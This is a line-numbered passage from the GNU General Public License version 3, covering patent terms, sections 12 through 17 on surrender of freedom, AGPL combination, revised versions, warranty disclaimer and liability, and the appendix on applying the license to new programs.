477 | A contributor's "essential patent claims" are all patent claims
478 | owned or controlled by the contributor, whether already acquired or
479 | hereafter acquired, that would be infringed by some manner, permitted
480 | by this License, of making, using, or selling its contributor version,
481 | but do not include claims that would be infringed only as a
482 | consequence of further modification of the contributor version. For
483 | purposes of this definition, "control" includes the right to grant
484 | patent sublicenses in a manner consistent with the requirements of
485 | this License.
486 |
487 | Each contributor grants you a non-exclusive, worldwide, royalty-free
488 | patent license under the contributor's essential patent claims, to
489 | make, use, sell, offer for sale, import and otherwise run, modify and
490 | propagate the contents of its contributor version.
491 |
492 | In the following three paragraphs, a "patent license" is any express
493 | agreement or commitment, however denominated, not to enforce a patent
494 | (such as an express permission to practice a patent or covenant not to
495 | sue for patent infringement). To "grant" such a patent license to a
496 | party means to make such an agreement or commitment not to enforce a
497 | patent against the party.
498 |
499 | If you convey a covered work, knowingly relying on a patent license,
500 | and the Corresponding Source of the work is not available for anyone
501 | to copy, free of charge and under the terms of this License, through a
502 | publicly available network server or other readily accessible means,
503 | then you must either (1) cause the Corresponding Source to be so
504 | available, or (2) arrange to deprive yourself of the benefit of the
505 | patent license for this particular work, or (3) arrange, in a manner
506 | consistent with the requirements of this License, to extend the patent
507 | license to downstream recipients. "Knowingly relying" means you have
508 | actual knowledge that, but for the patent license, your conveying the
509 | covered work in a country, or your recipient's use of the covered work
510 | in a country, would infringe one or more identifiable patents in that
511 | country that you have reason to believe are valid.
512 |
513 | If, pursuant to or in connection with a single transaction or
514 | arrangement, you convey, or propagate by procuring conveyance of, a
515 | covered work, and grant a patent license to some of the parties
516 | receiving the covered work authorizing them to use, propagate, modify
517 | or convey a specific copy of the covered work, then the patent license
518 | you grant is automatically extended to all recipients of the covered
519 | work and works based on it.
520 |
521 | A patent license is "discriminatory" if it does not include within
522 | the scope of its coverage, prohibits the exercise of, or is
523 | conditioned on the non-exercise of one or more of the rights that are
524 | specifically granted under this License. You may not convey a covered
525 | work if you are a party to an arrangement with a third party that is
526 | in the business of distributing software, under which you make payment
527 | to the third party based on the extent of your activity of conveying
528 | the work, and under which the third party grants, to any of the
529 | parties who would receive the covered work from you, a discriminatory
530 | patent license (a) in connection with copies of the covered work
531 | conveyed by you (or copies made from those copies), or (b) primarily
532 | for and in connection with specific products or compilations that
533 | contain the covered work, unless you entered into that arrangement,
534 | or that patent license was granted, prior to 28 March 2007.
535 |
536 | Nothing in this License shall be construed as excluding or limiting
537 | any implied license or other defenses to infringement that may
538 | otherwise be available to you under applicable patent law.
539 |
540 | 12. No Surrender of Others' Freedom.
541 |
542 | If conditions are imposed on you (whether by court order, agreement or
543 | otherwise) that contradict the conditions of this License, they do not
544 | excuse you from the conditions of this License. If you cannot convey a
545 | covered work so as to satisfy simultaneously your obligations under this
546 | License and any other pertinent obligations, then as a consequence you may
547 | not convey it at all. For example, if you agree to terms that obligate you
548 | to collect a royalty for further conveying from those to whom you convey
549 | the Program, the only way you could satisfy both those terms and this
550 | License would be to refrain entirely from conveying the Program.
551 |
552 | 13. Use with the GNU Affero General Public License.
553 |
554 | Notwithstanding any other provision of this License, you have
555 | permission to link or combine any covered work with a work licensed
556 | under version 3 of the GNU Affero General Public License into a single
557 | combined work, and to convey the resulting work. The terms of this
558 | License will continue to apply to the part which is the covered work,
559 | but the special requirements of the GNU Affero General Public License,
560 | section 13, concerning interaction through a network will apply to the
561 | combination as such.
562 |
563 | 14. Revised Versions of this License.
564 |
565 | The Free Software Foundation may publish revised and/or new versions of
566 | the GNU General Public License from time to time. Such new versions will
567 | be similar in spirit to the present version, but may differ in detail to
568 | address new problems or concerns.
569 |
570 | Each version is given a distinguishing version number. If the
571 | Program specifies that a certain numbered version of the GNU General
572 | Public License "or any later version" applies to it, you have the
573 | option of following the terms and conditions either of that numbered
574 | version or of any later version published by the Free Software
575 | Foundation. If the Program does not specify a version number of the
576 | GNU General Public License, you may choose any version ever published
577 | by the Free Software Foundation.
578 |
579 | If the Program specifies that a proxy can decide which future
580 | versions of the GNU General Public License can be used, that proxy's
581 | public statement of acceptance of a version permanently authorizes you
582 | to choose that version for the Program.
583 |
584 | Later license versions may give you additional or different
585 | permissions. However, no additional obligations are imposed on any
586 | author or copyright holder as a result of your choosing to follow a
587 | later version.
588 |
589 | 15. Disclaimer of Warranty.
590 |
591 | THERE IS NO WARRANTY FOR THE PROGRAM, TO THE EXTENT PERMITTED BY
592 | APPLICABLE LAW. EXCEPT WHEN OTHERWISE STATED IN WRITING THE COPYRIGHT
593 | HOLDERS AND/OR OTHER PARTIES PROVIDE THE PROGRAM "AS IS" WITHOUT WARRANTY
594 | OF ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING, BUT NOT LIMITED TO,
595 | THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR
596 | PURPOSE. THE ENTIRE RISK AS TO THE QUALITY AND PERFORMANCE OF THE PROGRAM
597 | IS WITH YOU. SHOULD THE PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF
598 | ALL NECESSARY SERVICING, REPAIR OR CORRECTION.
599 |
600 | 16. Limitation of Liability.
601 |
602 | IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING
603 | WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MODIFIES AND/OR CONVEYS
604 | THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES, INCLUDING ANY
605 | GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING OUT OF THE
606 | USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED TO LOSS OF
607 | DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY YOU OR THIRD
608 | PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER PROGRAMS),
609 | EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE POSSIBILITY OF
610 | SUCH DAMAGES.
611 |
612 | 17. Interpretation of Sections 15 and 16.
613 |
614 | If the disclaimer of warranty and limitation of liability provided
615 | above cannot be given local legal effect according to their terms,
616 | reviewing courts shall apply local law that most closely approximates
617 | an absolute waiver of all civil liability in connection with the
618 | Program, unless a warranty or assumption of liability accompanies a
619 | copy of the Program in return for a fee.
620 |
621 | END OF TERMS AND CONDITIONS
622 |
623 | How to Apply These Terms to Your New Programs
624 |
625 | If you develop a new program, and you want it to be of the greatest
626 | possible use to the public, the best way to achieve this is to make it
627 | free software which everyone can redistribute and change under these terms.
628 |
629 | To do so, attach the following notices to the program. It is safest
630 | to attach them to the start of each source file to most effectively
631 | state the exclusion of warranty; and each file should have at least
632 | the "copyright" line and a pointer to where the full notice is found.
633 |
634 |
635 | Copyright (C)
636 |
637 | This program is free software: you can redistribute it and/or modify
638 | it under the terms of the GNU General Public License as published by
639 | the Free Software Foundation, either version 3 of the License, or
640 | (at your option) any later version.
641 |
642 | This program is distributed in the hope that it will be useful,
643 | but WITHOUT ANY WARRANTY; without even the implied warranty of
644 | MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
645 | GNU General Public License for more details.
646 |
647 | You should have received a copy of the GNU General Public License
648 | along with this program. If not, see .
649 |
650 | Also add information on how to contact you by electronic and paper mail.
651 |
652 | If the program does terminal interaction, make it output a short
653 | notice like this when it starts in an interactive mode:
654 |
655 | Copyright (C)
656 | This program comes with ABSOLUTELY NO WARRANTY; for details type `show w'.
657 | This is free software, and you are welcome to redistribute it
658 | under certain conditions; type `show c' for details.
659 |
660 | The hypothetical commands `show w' and `show c' should show the appropriate
661 | parts of the General Public License. Of course, your program's commands
662 | might be different; for a GUI interface, you would use an "about box".
663 |
664 | You should also get your employer (if you work as a programmer) or school,
665 | if any, to sign a "copyright disclaimer" for the program, if necessary.
666 | For more information on this, and how to apply and follow the GNU GPL, see
667 | .
668 |
669 | The GNU General Public License does not permit incorporating your program
670 | into proprietary programs. If your program is a subroutine library, you
671 | may consider it more useful to permit linking proprietary applications with
672 | the library. If this is what you want to do, use the GNU Lesser General
673 | Public License instead of this License. But first, please read
674 | .
675 |
--------------------------------------------------------------------------------